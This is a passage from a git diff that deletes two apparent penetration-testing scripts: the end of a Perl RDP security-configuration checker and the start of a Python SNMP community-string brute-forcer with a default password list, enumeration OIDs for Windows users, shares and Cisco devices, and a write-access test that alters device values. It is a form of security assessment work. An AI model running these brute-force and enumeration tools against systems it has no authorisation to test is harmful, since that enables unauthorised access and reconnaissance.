$rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; - $config{"protocols"}{"PROTOCOL_SSL"} = 0; - } else { - if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_SSL") { - print "Supported\n"; - $config{"protocols"}{"PROTOCOL_SSL"} = 1; - } else { - printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; - } - } - } elsif (scalar @response == 11) { - printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; - $config{"protocols"}{"PROTOCOL_SSL"} = 0; - } else { - print "Not supported - unexpected response\n"; - $config{"protocols"}{"PROTOCOL_SSL"} = 0; - } - - print "[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; - $socket = get_socket($ip, $port); - @response = test_credssp_security($socket); - if (scalar @response == 19) { - my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; - if ($type eq "TYPE_RDP_NEG_FAILURE") { - printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; - $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; - } else { - if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_HYBRID") { - print "Supported\n"; - $config{"protocols"}{"PROTOCOL_HYBRID"} = 1; - } else { - printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; - } - } - } elsif (scalar @response == 11) { - printf "Negotiation ignored - old Windows 2000/XP/2003 system??\n"; - $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; - } else { - print "Not supported - unexpected response\n"; - $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; - } - print "\n"; - print "[+] Checking RDP Security Layer\n\n"; - foreach my $enc_hex (qw(00 01 02 08 10)) { - printf "[-] Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; - $socket = get_socket($ip, $port); - @response = test_classic_rdp_security($socket); - - if (scalar @response == 11) { - my @response_mcs = test_mcs_initial_connect($socket, $enc_hex); - unless (scalar(@response_mcs) > 8) { - print "Not supported\n"; - next; - } - my $length1 = ord($response_mcs[8]); - my $ber_encoded = join("", splice @response_mcs, 7); - my $ber = $enc->decode($ber_encoded); - my $user_data = $ber->{value}->[3]->{value}; - my ($sc_core, $sc_sec) = $user_data =~ /\x01\x0c..(.*)\x02\x0c..(.*)/s; - - my ($version, $client_requested_protocols, $early_capability_flags) = $sc_core =~ /(....)(....)?(....)?/; - my ($encryption_method, $encryption_level, $random_length, $server_cert_length) = $sc_sec =~ /(....)(....)(....)(....)/; - my $server_cert_length_i = unpack("V", $server_cert_length); - my $random_length_i = unpack("V", $random_length); - if ("000000" . $enc_hex eq sprintf "%08x", unpack("V", $encryption_method)) { - printf "Supported. Server encryption level: %s\n", $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; - $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 1; - $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 1; - $config{"protocols"}{"PROTOCOL_RDP"} = 1; # This is the only way the script detects RDP support on 2000/XP - } else { - printf "Not supported. Negotiated %s. Server encryption level: %s\n", $encryption_method{sprintf "%08x", unpack("V", $encryption_method)}, $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; - $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 0; - $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 0; - } - my $random = substr $sc_sec, 16, $random_length_i; - my $cert = substr $sc_sec, 16 + $random_length_i, $server_cert_length_i; - } else { - print "Not supported\n"; - } - } - - if ($config{"protocols"}{"PROTOCOL_HYBRID"}) { - if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_RDP"}) { - $config{"issues"}{"NLA_SUPPORTED_BUT_NOT_MANDATED_DOS"} = 1; - } - } else { - # is this really a problem? - $config{"issues"}{"NLA_NOT_SUPPORTED_DOS"} = 1; - } - - if ($config{"protocols"}{"PROTOCOL_RDP"}) { - if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_HYBRID"}) { - $config{"issues"}{"SSL_SUPPORTED_BUT_NOT_MANDATED_MITM"} = 1; - } else { - $config{"issues"}{"ONLY_RDP_SUPPORTED_MITM"} = 1; - } - - if ($config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"}) { - $config{"issues"}{"WEAK_RDP_ENCRYPTION_SUPPORTED"} = 1; - } - - if ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"}) { - $config{"issues"}{"NULL_RDP_ENCRYPTION_SUPPORTED"} = 1; - } - - if ($config{"encryption_method"}{"ENCRYPTION_METHOD_FIPS"} and ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_128BIT"})) { - $config{"issues"}{"FIPS_SUPPORTED_BUT_NOT_MANDATED"} = 1; - } - } - - print "\n"; - print "[+] Summary of protocol support\n\n"; - foreach my $protocol (keys(%{$config{"protocols"}})) { - printf "[-] $ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; - } - - print "\n"; - print "[+] Summary of RDP encryption support\n\n"; - foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) { - printf "[-] $ip:$port has encryption level: %s\n", $encryption_level; - } - foreach my $encryption_method (sort keys(%encryption_method)) { - printf "[-] $ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; - } - - print "\n"; - print "[+] Summary of security issues\n\n"; - foreach my $issue (keys(%{$config{"issues"}})) { - print "[-] $ip:$port has issue $issue\n"; - } - - print Dumper \%config if $debug; -} - -sub test_std_rdp_security { - my ($socket) = @_; - my $string = get_x224_crq_std_rdp_security(); - return do_handshake($socket, $string); -} - -sub test_tls_security { - my ($socket) = @_; - my $string = get_x224_crq_tls_security(); - return do_handshake($socket, $string); -} - -sub test_credssp_security { - my ($socket) = @_; - my $string = get_x224_crq_credssp_security(); - return do_handshake($socket, $string); -} - -sub test_classic_rdp_security { - my ($socket) = @_; - my $string = get_x224_crq_classic(); - return do_handshake($socket, $string); -} - -sub test_mcs_initial_connect { - my ($socket, $enc_hex) = @_; - my $string = get_mcs_initial_connect($enc_hex); - return do_handshake($socket, $string); -} - -sub do_handshake { - my ($socket, $string) = @_; - print "[+] Sending:\n" if $debug > 1; - hdump($string) if $debug > 1; - - print $socket $string; - - my $data; - - local $SIG{ALRM} = sub { die "alarm\n" }; - eval { - alarm($global_recv_timeout); - $socket->recv($data,4); - alarm(0); - }; - if ($@) { - print "[W] Timeout on recv. Results may be unreliable.\n"; - } - - if (length($data) == 4) { - print "[+] Received from Server :\n" if $debug > 1; - hdump($data) if $debug > 1; - my @data = split("", $data); - my $length = (ord($data[2]) << 8) + ord($data[3]); - printf "[+] Initial length: %d\n", $length if $debug > 1; - my $data2 = ""; - while (length($data) < $length) { - local $SIG{ALRM} = sub { die "alarm\n" }; - eval { - alarm($global_recv_timeout); - $socket->recv($data2,$length - 4); - alarm(0); - }; - if ($@) { - print "[W] Timeout on recv. Results may be unreliable.\n"; - } - print "[+] Received " . length($data2) . " bytes from Server :\n" if $debug > 1; - hdump($data2) if $debug > 1; - $data .= $data2; - } - return split "", $data; - } else { - return undef; - } -} - -# http://www.perlmonks.org/?node_id=111481 -sub hdump { - my $offset = 0; - my(@array,$format); - foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) { - my($len)=length($data); - if ($len == 16) { - @array = unpack('N4', $data); - $format="0x%08x (%05d) %08x %08x %08x %08x %s\n"; - } else { - @array = unpack('C*', $data); - $_ = sprintf "%2.2x", $_ for @array; - push(@array, ' ') while $len++ < 16; - $format="0x%08x (%05d)" . - " %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n"; - } - $data =~ tr/\0-\37\177-\377/./; - printf $format,$offset,$offset,@array,$data; - $offset += 16; - } -} - -sub get_x224_crq_std_rdp_security { - return get_x224_connection_request("00"); -} - -sub get_x224_crq_tls_security { - return get_x224_connection_request("01"); -} - -sub get_x224_crq_credssp_security { - return get_x224_connection_request("03"); -} - -sub get_x224_crq_classic { - return get_old_connection_request(); -} - -# enc_hex is bitmask of: -# 01 - 40 bit -# 02 - 128 bit -# 08 - 56 bit -# 10 - fips -# -# common value sniffed from wireshark: 03 -sub get_mcs_initial_connect { - my $enc_hex = shift; - my @packet_hex = qw( - 03 00 01 a2 02 f0 80 7f 65 82 - 01 96 04 01 01 04 01 01 01 01 ff 30 20 02 02 00 - 22 02 02 00 02 02 02 00 00 02 02 00 01 02 02 00 - 00 02 02 00 01 02 02 ff ff 02 02 00 02 30 20 02 - 02 00 01 02 02 00 01 02 02 00 01 02 02 00 01 02 - 02 00 00 02 02 00 01 02 02 04 20 02 02 00 02 30 - 20 02 02 ff ff 02 02 fc 17 02 02 ff ff 02 02 00 - 01 02 02 00 00 02 02 00 01 02 02 ff ff 02 02 00 - 02 04 82 01 23 00 05 00 14 7c 00 01 81 1a 00 08 - 00 10 00 01 c0 00 44 75 63 61 81 0c 01 c0 d4 00 - 04 00 08 00 20 03 58 02 01 ca 03 aa 09 04 00 00 - 28 0a 00 00 68 00 6f 00 73 00 74 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 01 ca 01 00 00 00 00 00 18 00 07 00 01 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 04 c0 0c 00 09 00 00 00 00 00 00 00 02 c0 0c 00 - ); - push @packet_hex, $enc_hex; - push @packet_hex, qw(00 00 00 00 00 00 00 03 c0 20 00 02 00 00 00 - 63 6c 69 70 72 64 72 00 c0 a0 00 00 72 64 70 64 - 72 00 00 00 80 80 00 00 - ); - my $string = join("", @packet_hex); - $string =~ s/(..)/sprintf("%c", hex($1))/ge; - return $string; -} - -# MS-RDPBCGR -sub get_x224_connection_request { - my $sec = shift; - my @packet_hex; - push @packet_hex, qw(03); # tpktHeader - version - push @packet_hex, qw(00); # tpktHeader - reserved - push @packet_hex, qw(00 13); # tpktHeader - length - push @packet_hex, qw(0e); # x224Crq - length - push @packet_hex, qw(e0); # x224Crq - connection request - push @packet_hex, qw(00 00); # x224Crq - ?? - push @packet_hex, qw(00 00); # x224Crq - src-ref - push @packet_hex, qw(00); # x224Crq - class - push @packet_hex, qw(01); # rdpNegData - type - push @packet_hex, qw(00); # rdpNegData - flags - push @packet_hex, qw(08 00); # rdpNegData - length - push @packet_hex, ($sec, qw(00 00 00)); # rdpNegData - requestedProtocols. bitmask, little endian: 0=standard rdp security, 1=TLSv1, 2=Hybrid (CredSSP) - - my $string = join("", @packet_hex); - $string =~ s/(..)/sprintf("%c", hex($1))/ge; - return $string; -} - -sub get_old_connection_request { - my @packet_hex = qw( - 03 00 00 22 1d e0 00 00 00 00 - 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 - 68 3d 72 6f 6f 74 0d 0a - ); - my $string = join("", @packet_hex); - $string =~ s/(..)/sprintf("%c", hex($1))/ge; - return $string; -} - -sub get_socket { - my ($ip, $port) = @_; - my $socket = undef; - my $failcount = 0; - while (!defined($socket)) { - $global_connection_count++; - eval { - local $SIG{ALRM} = sub { die "alarm\n" }; - alarm($global_recv_timeout); - $socket = new IO::Socket::INET ( - PeerHost => $ip, - PeerPort => $port, - Proto => 'tcp', - ) or print "WARNING in Socket Creation : $!\n"; - alarm(0); - }; - if ($@) { - print "[W] Timeout on connect. Retrying...\n"; - return undef; - } - unless (defined($socket)) { - $failcount++; - } - if ($failcount > $global_connect_fail_count) { - die "ERROR: failed to connect $global_connect_fail_count times\n"; - } - } - return $socket; -} - -sub print_section { - my ($string) = @_; - print "\n=== $string ===\n\n"; -} - -sub resolve { - my $hostname = shift; - print "[D] Resolving $hostname\n" if $debug > 0; - my $ip = gethostbyname($hostname); - if (defined($ip)) { - return inet_ntoa($ip); - } else { - return undef; - } -} - -# Perl Cookbook, Tie Example: Multiple Sink Filehandles -package Tie::Tee; - -sub TIEHANDLE { - my $class = shift; - my $handles = [@_]; - bless $handles, $class; - return $handles; -} - -sub PRINT { - my $href = shift; - my $handle; - my $success = 0; - foreach $handle (@$href) { - $success += print $handle @_; - } - return $success == @$href; -} - -sub PRINTF { - my $href = shift; - my $handle; - my $success = 0; - foreach $handle (@$href) { - $success += printf $handle @_; - } - return $success == @$href; -} - -1; - diff --git a/scripts/snmpbrute.py b/scripts/snmpbrute.py deleted file mode 100644 index 97a68a45..00000000 --- a/scripts/snmpbrute.py +++ /dev/null @@ -1,789 +0,0 @@ -#!/usr/bin/env python -# SNMP Bruteforce & Enumeration Script -# Requires metasploit, snmpwalk, snmpstat and john the ripper -__version__ = 'v1.0b' -from socket import socket, SOCK_DGRAM, AF_INET, timeout -from random import randint -from time import sleep -import optparse, sys, os -from subprocess import Popen, PIPE -import struct -import threading, thread -import tempfile - -from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS, - SNMPset, SNMPbulk, IP) - -########################################################################################################## -# Defaults -########################################################################################################## -class defaults: - rate=30.0 - timeOut=2.0 - port=161 - delay=2 - interactive=True - verbose=False - getcisco=True - colour=True - -default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI'] - -########################################################################################################## -# OID's -########################################################################################################## -''' Credits -Some OID's borowed from Cisc0wn script -# Cisc0wn - The Cisco SNMP 0wner. -# Daniel Compton -# www.commonexploits.com -# contact@commexploits.com -''' - -RouteOIDS={ - 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"], - 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"], - 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"], - 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"], - 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"], - 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"], - 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"], - 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"] -} - -InterfaceOIDS={ - #Interface Info - 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"], - 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"], - 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"], - 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"] -} - -ARPOIDS={ - # Arp table - 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"], - 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"] -} - -OIDS={ - 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"] -} - -snmpstat_args={ - 'Interfaces':["-Ci","Interface Info"], - 'Routing':["-Cr","Route Info"], - 'Netstat':["","Netstat"], - #'Statistics':["-Cs","Stats"] -} - -'''Credits -The following OID's are borrowed from snmpenum.pl script -# ----by filip waeytens 2003---- -# ---- DA SCANIT CREW www.scanit.be ---- -# filip.waeytens@hushmail.com -''' - -WINDOWS_OIDS={ - 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], - 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"], - 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], - 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], - 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"], - 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"], - 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], - 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"], - 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"], - 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"], - 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"], - 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"] -} - -LINUX_OIDS={ - 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], - 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], - 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], - 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], - 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"], - 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"], - 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"], - 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"] -} - -CISCO_OIDS={ - 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"], - 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"], - 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"], - 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], - 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"], - 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], - 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"], - 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"], - 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"], - 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"], - 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"], - 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"], - 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"] -} - -########################################################################################################## -# Classes -########################################################################################################## - -class SNMPError(Exception): - '''Credits - Class copied from sploitego project - __original_author__ = 'Nadeem Douba' - https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py - ''' - pass - -class SNMPVersion: - '''Credits - Class copied from sploitego project - __original_author__ = 'Nadeem Douba' - https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py - ''' - v1 = 0 - v2c = 1 - v3 = 2 - - @classmethod - def iversion(cls, v): - if v in ['v1', '1']: - return cls.v1 - elif v in ['v2', '2', 'v2c']: - return cls.v2c - elif v in ['v3', '3']: - return cls.v3 - raise ValueError('No such version %s' % v) - - @classmethod - def sversion(cls, v): - if not v: - return 'v1' - elif v == 1: - return 'v2c' - elif v == 2: - return 'v3' - raise ValueError('No such version number %s' % v) - -class SNMPBruteForcer(object): - #This class is used for the sploitego method of bruteforce (--sploitego) - '''Credits - Class copied from sploitego project - __original_author__ = 'Nadeem Douba' - https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py - ''' - def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000): - self.version = SNMPVersion.iversion(version) - self.s = socket(AF_INET, SOCK_DGRAM) - self.s.settimeout(timeout) - self.addr = (agent, port) - self.rate = rate - - def guess(self, communities): - - p = SNMP( - version=self.version, - PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) - ) - r = [] - for c in communities: - i = randint(0, 2147483647) - p.PDU.id = i - p.community = c - self.s.sendto(str(p), self.addr) - sleep(1/self.rate) - while True: - try: - p = SNMP(self.s.recvfrom(65535)[0]) - except timeout: - break - r.append(p.community.val) - return r - - def __del__(self): - self.s.close() - -class SNMPResults: - addr='' - version='' - community='' - write=False - - def __eq__(self, other): - return self.addr == other.addr and self.version == other.version and self.community == other.community - -########################################################################################################## -# Colour output functions -########################################################################################################## - -# for color output -BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) - -#following from Python cookbook, #475186 -def has_colours(stream): - if not hasattr(stream, "isatty"): - return False - if not stream.isatty(): - return False # auto color only on TTYs - try: - import curses - curses.setupterm() - return curses.tigetnum("colors") > 2 - except: - # guess false in case of error - return False -has_colours = has_colours(sys.stdout) - -def printout(text, colour=WHITE): - - if has_colours and defaults.colour: - seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n" - sys.stdout.write(seq) - else: - #sys.stdout.write(text) - print text - - -########################################################################################################## -# -########################################################################################################## - -def banner(art=True): - if art: - print >> sys.stderr, " _____ _ ____ _______ ____ __ " - print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ " - print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\" - print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/" - print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ " - print >> sys.stderr, "" - print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__ - print >> sys.stderr, "http://www.secforce.com / nikos.vassakis secforce.com" - print >> sys.stderr, "###############################################################" - print >> sys.stderr, "" - -def listener(sock,results): - while True: - try: - response,addr=SNMPrecv(sock) - except timeout: - continue - except KeyboardInterrupt: - break - except: - break - r=SNMPResults() - r.addr=addr - r.version=SNMPVersion.sversion(response.version.val) - r.community=response.community.val - results.append(r) - printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE) - -def SNMPrecv(sock): - try: - recv,addr=sock.recvfrom(65535) - response = SNMP(recv) - return response,addr - except: - raise - -def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate): - addr = (ip, port) - for packet in packets: - i = randint(0, 2147483647) - packet.PDU.id = i - packet.community = community - sock.sendto(str(packet), addr) - sleep(1/rate) - -def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut): - s = socket(AF_INET, SOCK_DGRAM) - s.settimeout(TimeOut) - response='' - r=result - - version = SNMPVersion.iversion(r.version) - if value: - p = SNMP( - version=version, - PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)]) - ) - else: - p = SNMP( - version=version, - PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))]) - ) - - SNMPsend(s,p,r.addr[0],r.addr[1],r.community) - for x in range(0, 5): - try: - response,addr=SNMPrecv(s) - break - except timeout: # if request times out retry - sleep(0.5) - continue - s.close - if not response: - raise timeout - return response - -def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'): - #Alt .1.3.6.1.2.1.1.5.0 - - setval='HASH(0xDEADBEF)' - for r in results: - try: - originalval=SNMPRequest(r,OID) - - if originalval: - originalval=originalval[SNMPvarbind].value.val - - SNMPRequest(r,OID,setval) - curval=SNMPRequest(r,OID)[SNMPvarbind].value.val - - if curval == setval: - r.write=True - try: - SNMPRequest(r,OID,originalval) - except timeout: - pass - if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN) - curval=SNMPRequest(r,OID)[SNMPvarbind].value.val - if curval != originalval: - printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED) - else: - if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE) - else: - r.write=None - printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED) - except timeout: - r.write=None - printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED) - continue - -def generic_snmpwalk(snmpwalk_args,oids): - for key, val in oids.items(): - try: - printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) - entry={} - out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() - - print '\tINFO' - print '\t----\t' - for i in out: - print '\t',i.strip() - print '\n' - except KeyboardInterrupt: - pass - -def enumerateSNMPWalk(result,options): - r=result - - snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1]) - - ############################################################### Enumerate OS - if options.windows: - generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS) - return - if options.linux: - generic_snmpwalk(snmpwalk_args,LINUX_OIDS) - return - if options.cisco: - generic_snmpwalk(snmpwalk_args,CISCO_OIDS) - - ############################################################### Enumerate CISCO Specific - ############################################################### Enumerate Routes - entry={} - out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines() - lines = len(out) - - printout('################## Enumerating Routing Table (snmpwalk)',YELLOW) - try: - for key, val in RouteOIDS.items(): #Enumerate Routes - #print '\t *',val[1], val[0] - out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines() - - entry[val[1]]=out - - - print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' - print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' - for j in range(lines): - log.info( '\t'+entry['Destination'][j].strip().ljust(12,' ') + - '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + - '\t'+entry['Mask'][j].strip().ljust(12,' ') + - '\t\t'+entry['Metric'][j].strip().center(6,' ') + - '\t'+entry['Interface'][j].strip().center(10,' ') + - '\t'+entry['Route type'][j].strip().center(4,' ') + - '\t'+entry['Route protocol'][j].strip().center(8,' ') + - '\t'+entry['Route age'][j].strip().center(3,' ') - ) - except KeyboardInterrupt: - pass - - ############################################################### Enumerate Arp - print '\n' - for key, val in ARPOIDS.items(): - try: - printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW) - entry={} - out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines() - - lines=len(out)/3 - - entry['V']=out[0*lines:1*lines] - entry['MAC']=out[1*lines:2*lines] - entry['IP']=out[2*lines:3*lines] - - - print '\tIP\t\tMAC\t\t\tV' - print '\t--\t\t---\t\t\t--' - for j in range(lines): - log.info( '\t'+entry['IP'][j].strip().ljust(12,' ') + - '\t'+entry['MAC'][j].strip().ljust(18,' ') + - '\t'+entry['V'][j].strip().ljust(2,' ') - ) - print '\n' - except KeyboardInterrupt: - pass - - ############################################################### Enumerate SYSTEM - for key, val in OIDS.items(): - try: - printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) - entry={} - out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() - - print '\tINFO' - print '\t----\t' - for i in out: - print '\t',i.strip() - print '\n' - except KeyboardInterrupt: - pass - ############################################################### Enumerate Interfaces - for key, val in snmpstat_args.items(): - try: - printout(('################## Enumerating %s Table using: %s 